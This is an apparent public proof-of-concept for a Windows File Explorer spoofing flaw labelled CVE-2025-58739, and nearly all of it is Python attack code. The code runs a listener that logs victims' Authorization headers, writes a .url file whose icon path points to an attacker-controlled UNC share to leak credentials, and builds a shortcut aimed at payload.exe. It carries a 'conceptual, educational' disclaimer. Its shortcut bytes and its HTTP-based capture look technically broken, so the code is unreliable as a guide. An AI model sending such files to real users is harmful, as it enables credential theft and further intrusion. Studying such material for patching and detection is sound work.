Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
# CVE-2025-58739 - Windows File Explorer Information Disclosure / Spoofing PoC
# This PoC demonstrates the concept of exploiting the File Explorer information disclosure vulnerability
# Note: This is a conceptual demonstration for educational purposes only
import os
import sys
import http.server
import socketserver
import threading
from urllib.parse import urlparse
# Step 1: Set up a malicious SMB/WebDAV server to capture leaked information
class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler to log requests containing leaked information from File Explorer"""
def do_GET(self):
# Log the incoming request path which may contain sensitive path info
client_ip = self.client_address[0]
requested_path = self.path
user_agent = self.headers.get('User-Agent', 'Unknown')
auth_header = self.headers.get('Authorization', 'None')
print(f"[+] Captured request from {client_ip}")
print(f" Path: {requested_path}")
print(f" User-Agent: {user_agent}")
print(f" Auth Header: {auth_header}")
# Return a malicious response that triggers further information disclosure
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
# Serve a malicious .lnk file that exploits the File Explorer vulnerability
malicious_lnk = self.generate_malicious_lnk()
self.wfile.write(malicious_lnk)
def generate_malicious_lnk(self):
"""Generate a malicious shortcut file for spoofing attack"""
# Conceptual LNK file content - actual binary would be crafted differently
# This demonstrates the attack vector where a malicious shortcut
# causes File Explorer to leak sensitive path/credential information
lnk_content = b'\x4c\x00\x00\x00' # LNK file signature
lnk_content += b'\x01\x14\x02\x00' # Header size and flags
# Target path pointing to attacker's server
target = b'\\\\attacker-server\\share\\payload.exe'
lnk_content += target
return lnk_content
def start_listener(port=8080):
"""Start the malicious listener server"""
handler = MaliciousHandler
with socketserver.TCPServer(("0.0.0.0", port), handler) as httpd:
print(f"[*] Listener started on port {port}")
httpd.serve_forever()
# Step 2: Create a malicious shortcut or URL that triggers the vulnerability
def create_malicious_payload(output_path):
"""Create a malicious .url file that exploits File Explorer"""
# URL file that references a network resource, causing info disclosure
url_content = """[InternetShortcut]
URL=file:\\\\\\attacker-server\\\\share\\\\document.docx
IconIndex=0
IconFile=file:\\\\\\attacker-server\\\\share\\\\icon.ico
"""
with open(output_path, 'w') as f:
f.write(url_content)
print(f"[+] Malicious payload saved to {output_path}")
# Step 3: Demonstrate the attack
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-58739 - Windows File Explorer Spoofing PoC")
print("Conceptual demonstration - For educational use only")
print("=" * 60)
# Start the listener in a separate thread
listener_thread = threading.Thread(target=start_listener, args=(8080,), daemon=True)
listener_thread.start()
# Create the malicious payload
create_malicious_payload("malicious_payload.url")
print("\n[*] Attack flow:")
print(" 1. Attacker hosts malicious server (this script)")
print(" 2. Attacker sends malicious .url or .lnk file to victim")
print(" 3. Victim opens the file in Windows File Explorer")
print(" 4. File Explorer connects to attacker's server")
print(" 5. Sensitive information (paths, credentials) is leaked")
print(" 6. Attacker uses leaked info for further exploitation")
print("\n[!] Apply Microsoft security updates to mitigate this vulnerability")